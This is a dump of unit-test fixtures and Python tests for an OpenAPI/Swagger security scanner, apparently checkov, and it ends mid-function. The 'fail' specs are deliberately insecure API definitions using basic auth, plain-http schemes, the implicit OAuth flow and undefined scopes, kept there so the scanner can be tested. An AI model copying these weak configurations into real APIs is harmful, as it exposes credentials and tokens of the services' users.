    "path": "tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_auth:\n            - write:api\n            - read:api\nsecurityDefinitions:\n  some_auth:\n    type: oauth2\n    flow: implicit\n    authorizationUrl: https://api.my.company.com/oauth/authorize\n    tokenUrl: https://api.my.company.com/oauth/token\n    scopes:\n      write:api: modify apis in your account\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_oauth2\": [\n              \"write:api\",\n              \"read:api\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_oauth2\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"accessCode\",\n      \"tokenUrl\": \"https://api.my.company.com/oauth/token\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_oauth2:\n            - write:api\n            - read:api\nsecurityDefinitions:\n  some_oauth2:\n    type: oauth2\n    flow: codeAccess\n    authorizationUrl: https://api.my.company.com/oauth/authorize\n    tokenUrl: https://api.my.company.com/oauth/token\n    scopes:\n      write:api: modify apis in your account\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"produces\": [],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_auth\": [\n              \"write:api\",\n              \"read:api\"\n            ]\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_auth:\n            - write:api\n            - read:api"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"produces\": [\n          \"application/json\"\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_oauth2\": [\n              \"write:api\",\n              \"read:api\"\n            ]\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      produces:\n        - application/json\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_oauth2:\n            - write:api\n            - read:api"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/expected.yaml",
    "content": "pass:\n  - \"pass1.yaml\"\n  - \"pass1.json\"\n  - \"pass2.yaml\"\n  - \"pass2.json\"\nfail:\n  - \"fail1.json\"\n  - \"fail1.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/fail1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"security\": [\n          {\n            \"some_auth\": [\n              \"read:api\",\n              \"error:api\"\n            ]\n          }\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"Success\"\n          }\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"scopes\": {\n        \"read:api\": \"read your apis\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/fail1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  /:\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      security:\n        - some_auth:\n            - read:api\n      responses:\n        \"200\":\n          description: Success\nsecurityDefinitions:\n  different_name_auth:\n    type: oauth2\n    scopes:\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"security\": [\n          {\n            \"some_auth\": [\n              \"read:api\"\n            ]\n          }\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"Success\"\n          }\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"scopes\": {\n        \"read:api\": \"read your apis\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  /:\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      security:\n        - some_auth:\n            - read:api\n      responses:\n        \"200\":\n          description: Success\nsecurityDefinitions:\n  some_auth:\n    type: oauth2\n    scopes:\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass2.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"security\": [\n          {\n            \"some_auth\": []\n          }\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"Success\"\n          }\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"apiKey\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  /:\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      security:\n        - some_auth: []\n      responses:\n        \"200\":\n          description: Success\nsecurityDefinitions:\n  some_auth:\n    type: apiKey"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass2.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test_fail\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"example\",\n        \"summary\": \"example\",\n        \"schemes\": [\n          \"http\"\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test_fail\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: example\n      summary: example\n      schemes:\n        - http\n      responses:\n        \"200\":\n          description: 200 response"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test_pass\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"example\",\n        \"summary\": \"example\",\n        \"schemes\": [\n          \"https\"\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test_pass\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: example\n      summary: example\n      schemes:\n        - https\n      responses:\n        \"200\":\n          description: 200 response"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/pass2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test_pass\n  version: 1.0.0\npaths:\n  \"/\":\n    \"test\""
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"basic\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurityDefinitions:\n  some_auth:\n    type: basic\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"good_auth\": {\n      \"type\": \"oauth2\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurityDefinitions:\n  good_auth:\n    type: oauth2\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitions/expected.yaml",
    "content": "pass:\n  - \"pass1.yaml\"\n  - \"pass1.json\"\nfail:\n  - \"fail1.json\"\n  - \"fail1.yaml\"\n  - \"fail2.json\"\n  - \"fail2.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"pass1 example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"pass1id\",\n        \"summary\": \"pass1\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: pass1 example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: pass1id\n      summary: pass1\n      responses:\n        \"200\":\n          description: 200 response"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail2.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"pass1 example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"pass1id\",\n        \"summary\": \"pass1\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {}\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: pass1 example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: pass1id\n      summary: pass1\n      responses:\n        \"200\":\n          description: 200 response\nsecurityDefinitions:  {}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitions/pass1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"pass1 example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"pass1id\",\n        \"summary\": \"pass1\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"BasicAuth\": {\n      \"type\": \"basic\"\n    },\n    \"ApiKeyAuth\": {\n      \"type\": \"apiKey\",\n      \"name\": \"apiKey\",\n      \"in\": \"header\"\n    },\n    \"OAuth2\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"implicit\",\n      \"authorizationUrl\": \"https://swagger.io/api/oauth/dialog\",\n      \"tokenUrl\": \"https://swagger.io/api/oauth/token\",\n      \"scopes\": {\n        \"read\": \"read\",\n        \"write\": \"write\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityDefinitions/pass1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: pass1 example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: pass1id\n      summary: pass1\n      responses:\n        \"200\":\n          description: 200 response\nsecurityDefinitions:\n  BasicAuth:\n    type: basic\n  ApiKeyAuth:\n    type: apiKey\n    in: header\n    name: apiKey\n  OAuth2:\n    type: oauth2\n    flow: implicit\n    authorizationUrl: https://swagger.io/api/oauth/dialog\n    tokenUrl: https://swagger.io/api/oauth/token\n    scopes:\n      read: read\n      write: write"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/expected.yaml",
    "content": "pass:\n  - \"pass1.yaml\"\n  - \"pass1.json\"\n  - \"pass2.yaml\"\n  - \"pass2.json\"\n  - \"pass3.json\"\nfail:\n  - \"fail1.json\"\n  - \"fail1.yaml\"\n  - \"fail2.json\"\n  - \"fail2.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/fail1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"example\",\n        \"summary\": \"example\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"limit2\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"type\": \"object\"\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"petstore_auth\": [\n        \"write:pets\",\n        \"read:pets\"\n      ]\n    }\n  ],\n  \"securityDefinitions\": {\n    \"api_key\": {\n      \"type\": \"apiKey\",\n      \"name\": \"api_key\",\n      \"in\": \"header\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/fail1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: example\n      summary: example\n      responses:\n        \"200\":\n          description: 200 response\n      parameters:\n        - name: limit2\n          in: body\n          required: true\n          schema:\n            type: object\nsecurity:\n  - petstore_auth:\n      - write:pets\n      - read:pets\nsecurityDefinitions:\n  api_key:\n    type: apiKey\n    name: api_key\n    in: header"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/fail2.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"example\",\n        \"summary\": \"example\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"limit2\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"type\": \"object\"\n            }\n          }\n        ],\n        \"security\": [\n          {\n            \"api_key\": []\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"petstore_auth\": {\n      \"type\": \"oauth2\",\n      \"authorizationUrl\": \"http://swagger.io/api/oauth/dialog\",\n      \"flow\": \"implicit\",\n      \"scopes\": {\n        \"write:pets\": \"write\",\n        \"read:pets\": \"read\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/fail2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: example\n      summary: example\n      responses:\n        \"200\":\n          description: 200 response\n      parameters:\n        - name: limit2\n          in: body\n          required: true\n          schema:\n            type: object\n      security:\n        - api_key: []\nsecurityDefinitions:\n  petstore_auth:\n    type: oauth2\n    authorizationUrl: http://swagger.io/api/oauth/dialog\n    flow: implicit\n    scopes:\n      write:pets: write\n      read:pets: read"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/pass1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"example\",\n        \"summary\": \"example\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"limit2\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"type\": \"object\"\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"petstore_auth\": [\n        \"write:pets\",\n        \"read:pets\"\n      ]\n    }\n  ],\n  \"securityDefinitions\": {\n    \"api_key\": {\n      \"type\": \"apiKey\",\n      \"name\": \"api_key\",\n      \"in\": \"header\"\n    },\n    \"petstore_auth\": {\n      \"type\": \"oauth2\",\n      \"authorizationUrl\": \"http://swagger.io/api/oauth/dialog\",\n      \"flow\": \"implicit\",\n      \"scopes\": {\n        \"write:pets\": \"write\",\n        \"read:pets\": \"read\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/pass1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: example\n      summary: example\n      responses:\n        \"200\":\n          description: 200 response\n      parameters:\n        - name: limit2\n          in: body\n          required: true\n          schema:\n            type: object\nsecurity:\n  - petstore_auth:\n      - write:pets\n      - read:pets\nsecurityDefinitions:\n  api_key:\n    type: apiKey\n    name: api_key\n    in: header\n  petstore_auth:\n    type: oauth2\n    authorizationUrl: http://swagger.io/api/oauth/dialog\n    flow: implicit\n    scopes:\n      write:pets: write\n      read:pets: read"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/pass2.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"example\",\n        \"summary\": \"example\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"limit2\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"type\": \"object\"\n            }\n          }\n        ],\n        \"security\": [\n          {\n            \"api_key\": []\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"api_key\": {\n      \"type\": \"apiKey\",\n      \"name\": \"api_key\",\n      \"in\": \"header\"\n    },\n    \"petstore_auth\": {\n      \"type\": \"oauth2\",\n      \"authorizationUrl\": \"http://swagger.io/api/oauth/dialog\",\n      \"flow\": \"implicit\",\n      \"scopes\": {\n        \"write:pets\": \"write\",\n        \"read:pets\": \"read\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/pass2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: example\n      summary: example\n      responses:\n        \"200\":\n          description: 200 response\n      parameters:\n        - name: limit2\n          in: body\n          required: true\n          schema:\n            type: object\n      security:\n        - api_key: []\nsecurityDefinitions:\n  api_key:\n    type: apiKey\n    name: api_key\n    in: header\n  petstore_auth:\n    type: oauth2\n    authorizationUrl: http://swagger.io/api/oauth/dialog\n    flow: implicit\n    scopes:\n      write:pets: write\n      read:pets: read"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_SecurityRequirement/pass3.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": null\n  },\n  \"security\": [\n    {\n      \"petstore_auth\": [\n        \"write:pets\",\n        \"read:pets\"\n      ]\n    }\n  ],\n  \"securityDefinitions\": {\n    \"api_key\": {\n      \"type\": \"apiKey\",\n      \"name\": \"api_key\",\n      \"in\": \"header\"\n    },\n    \"petstore_auth\": {\n      \"type\": \"oauth2\",\n      \"authorizationUrl\": \"http://swagger.io/api/oauth/dialog\",\n      \"flow\": \"implicit\",\n      \"scopes\": {\n        \"write:pets\": \"write\",\n        \"read:pets\": \"read\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v3/__init__.py",
    "content": ""
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/fail.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"unencryptedScheme\": {\n        \"type\": \"http\",\n        \"scheme\": \"basic\"\n      }\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"security\": [\n          {\n            \"unencryptedScheme\": []\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/fail.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: test\n  version: 1.0.0\ncomponents:\n  securitySchemes:\n    unencryptedScheme:\n      type: http\n      scheme: basic\npaths:\n  \"/\":\n    get:\n      security:\n        - unencryptedScheme: []\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"encryptedScheme\": {\n        \"type\": \"oauth2\"\n      }\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"security\": [\n          {\n            \"encryptedScheme\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: test\n  version: 1.0.0\ncomponents:\n  securitySchemes:\n    encryptedScheme:\n      type: oauth2\npaths:\n  \"/\":\n    get:\n      security:\n        - encryptedScheme:\n            - write\n            - read\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass2.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"unencryptedScheme\": {\n        \"type\": \"oauth2\"\n      }\n    }\n  },\n  \"paths\": \"/\"\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass2.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: test\n  version: 1.0.0\ncomponents:\n  securitySchemes:\n    encryptedScheme: 'none'\npaths:\n  \"/\":\n    get:\n      security:\n        - encryptedScheme:\n            - write\n            - read\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass3.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"bearerScheme\": {\n        \"type\": \"http\",\n        \"scheme\": \"bearer\"\n      }\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"security\": [\n          {\n            \"bearerScheme\": []\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass3.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: test\n  version: 1.0.0\ncomponents:\n  securitySchemes:\n    bearerScheme:\n      type: http\n      scheme: bearer\npaths:\n  \"/\":\n    get:\n      security:\n        - bearerScheme: []\n"
  },
  {
    "path": "tests/openapi/checks/resource/v3/test_CleartextCredsOverUnencryptedChannel.py",
    "content": "import os\nimport unittest\n\nfrom checkov.openapi.checks.resource.v3.CleartextOverUnencryptedChannel import check\nfrom checkov.openapi.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCleartextCredsOverUnencryptedChannel(unittest.TestCase):\n    def test_summary(self):\n        # given\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_CleartextCredsOverUnencryptedChannel\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/pass.yaml\",\n            \"/pass.json\",\n            \"/pass2.yaml\",\n            \"/pass2.json\",\n            \"/pass3.yaml\",\n            \"/pass3.json\",\n        }\n        failing_resources = {\n            \"/fail.yaml\",\n            \"/fail.json\",\n        }\n\n        passed_check_resources = {c.file_path for c in report.passed_checks}\n        failed_check_resources = {c.file_path for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/openapi/checks/test_python_policies.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom checkov.openapi.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.common.graph.checks.test_yaml_policies_base import load_yaml_data\n\nBASE_DIR = Path(__file__).parent\nCHECK_ID_MAP: \"dict[str, str]\" = {}  # will be filled via setup()\n\n\ndef test_GlobalSchemeDefineHTTP():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"GlobalSchemeDefineHTTP\")\n\n\ndef test_GlobalSecurityScopeUndefined():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"GlobalSecurityScopeUndefined\")\n\n\ndef test_Oauth2OperationObjectPasswordFlow():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"Oauth2OperationObjectPasswordFlow\")\n\n\ndef test_Oauth2SecurityDefinitionImplicitFlow():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"Oauth2SecurityDefinitionImplicitFlow\")\n\n\ndef test_Oauth2SecurityDefinitionPasswordFlow():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"Oauth2SecurityDefinitionPasswordFlow\")\n\n\ndef test_Oauth2SecurityPasswordFlow():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", 